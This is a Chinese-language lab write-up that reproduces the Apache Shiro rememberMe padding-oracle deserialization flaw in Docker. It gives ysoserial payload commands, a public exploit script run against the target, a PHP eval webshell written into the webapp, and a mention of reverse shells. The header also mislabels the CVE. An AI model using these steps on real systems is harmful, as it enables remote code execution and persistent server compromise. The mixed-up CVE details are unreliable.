Apache Shiro 反序列化漏洞

Apache Shiro 反序列化漏洞(Shiro-721 CVE-2016-4437)

Apache Shiro是一个强大且易用的Java安全框架,其支持身份验证、授权、密码和会话管理等。使用Shiro的API可以快速、轻松地获得任何应用程序。

2021年02月01日,Apache Shiro发布1.7.1版本,修复了 Apache Shiro 中的一个身份验证绕过漏洞(CVE-2020-17523)。当Apache Shiro与Spring结合使用时,攻击者可以使用恶意HTTP请求来绕过Shiro的身份认证。成功利用此漏洞的攻击者可以绕过身份验证,成功访问后台。

Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

环境搭建

复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8
git下载shiro-720到本地环境

1
git clone https://github.com/3ndz/Shiro-721.git

对shiro-720进行编译

1
2
cd Shiro-721/Docker
docker build -t shiro-721 .

在这里插入图片描述

启动dokcer并将端口8080映射到主机端口9000上

1
docker run -p 9000:8080 -d shiro-721

查看是否搭建成功

1
docker ps

在这里插入图片描述

通过自行编译1.4.1war 包放入tomcat容器中运行

安装maven

1
wget https://downloads.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

在这里插入图片描述

1
tar zxvf  apache-maven-3.6.3-bin.tar.gz  -C  /usr/local

在这里插入图片描述

添加环境变量

1
2
3
vi /etc/profile
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH

在这里插入图片描述

进入父bash查看mvn版本

1
2
source /etc/profile
mvn -v

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
vim  /usr/local/apache-maven-3.6.3/conf/settings.xml
找到mirrors节点添加阿里镜像库地址:
<mirrors>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>

在这里插入图片描述
从 Apache Shiro Gtihub 官方仓库自行下载漏洞影响版本(https://github.com/apache/shiro),使用 Apache Maven(软件项目管理及自动构建工具) 编译构建生成 war Java 应用程序包。

1
git clone https://github.com/apache/shiro.git

然后在执行

1
2
cd shiro
git checkout shiro-root-1.4.1

到这则搭建的没有问题
在这里插入图片描述

然后

1
2
cd samples/web
mvn install

在这里插入图片描述
将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中)拷贝到 Tomcat 的 webapps 目录下,启动tomcat即可。使用命令

1
sudo docker cp 虚拟机里的war绝对路径 docker容器ID:/usr/local/tomcat/webapps

然后打开http://自己虚拟机的IP:9000/samples-web-1.4.1/

在这里插入图片描述

测试与结果

复现步骤:

输入正确的用户名和密码登录网站(勾选Remember),并从cookie中获取RememberMe值。
使用RememberMe cookie作为Padding Oracle Attack的前缀。
加密ysoserial的序列化有效负载,以通过Padding Oracle Attack制作精心制作的RememberMe。
请求带有新的RememberMe cookie的网站,以执行反序列化攻击。
攻击者无需知道RememberMe加密的密码密钥。

漏洞复现:

一.漏洞利用复现01

登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):

在这里插入图片描述

认证失败时(输入错误的用户名和密码),http响应页面中会显示出deleteMe的cookie:

在这里插入图片描述
输入正确用户密码得到合法cookie:

在这里插入图片描述

认证成功(输入正确的用户名和密码登录),http响应页面中不会显示deleteMe的cookie:

在这里插入图片描述

根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影响反序列化结果),此时会有两中情况:

构造的数据不能通过字符填充验证,返回deleteme;
构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.
这里输入正确的用户名和密码,并勾选Remeber ME。

登录成功后,访问http://192.168.1.14:8080/account/,F12得到Cookie中的rememberMe值
在这里插入图片描述

漏洞验证

方法一

使用Java反序列化工具 ysoserial 生成 Payload:

1
java  -jar ysoserial-master-6eca5bc740-1.jar   CommonsCollections1 'touch /tmp/test' > payload.class

通过git对其padding oracle attack poc进行下载

1
git clone  https://github.com/wuppp/shiro_rce_exp.git

通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(如: ping 、 touch /tmp/test等),生成成功后将自动停止运行。

1
2
3
4
也可用python自动化脚本
cp payload.class shiro_rce_exp/
cd shiro_rce_exp/
python shiro_exp.py http://自己的ip:docker的端口/account/ 此处为上面获取Rememberme cookie payload.class

在这里插入图片描述
在这里插入图片描述

使用Evil Rememberme cookie 认证进行反序列化攻击:复制该cookie,然后重放一下数据,即可成功执行命令,此处脚本爆破出正确的Rememberme cookie需要较长时间。
在这里插入图片描述

还可以用dnslog提供的dns地址解析来验证

1
java  -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping y2xqmm.dnslog.cn" > payload.class

方法二使用shiro550/721漏洞检查工具对其进行验证

工具下载地址:
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

最后有加号即存在漏洞

提权shell

生成payload然后用上述方法获取恶意rememberkey

1
2
3
4
java  -jar ysoserial-master-d367e379d9-1.jar  CommonsCollections1 'touch /usr/local/tomcat/webapps/samples-web-1.4.1/1.php' > payload2.class

java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections1 'echo "<?php eval($_POST["cmd"]);" > /usr/local/tomcat/webapps/samples-web-1.4.1/1.php' > payload2.class

在这里插入图片描述

重放之后进入1.php可看到内容

在这里插入图片描述

最后用蚁剑连接即可,或者直接shrio工具反弹shell

在这里插入图片描述
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!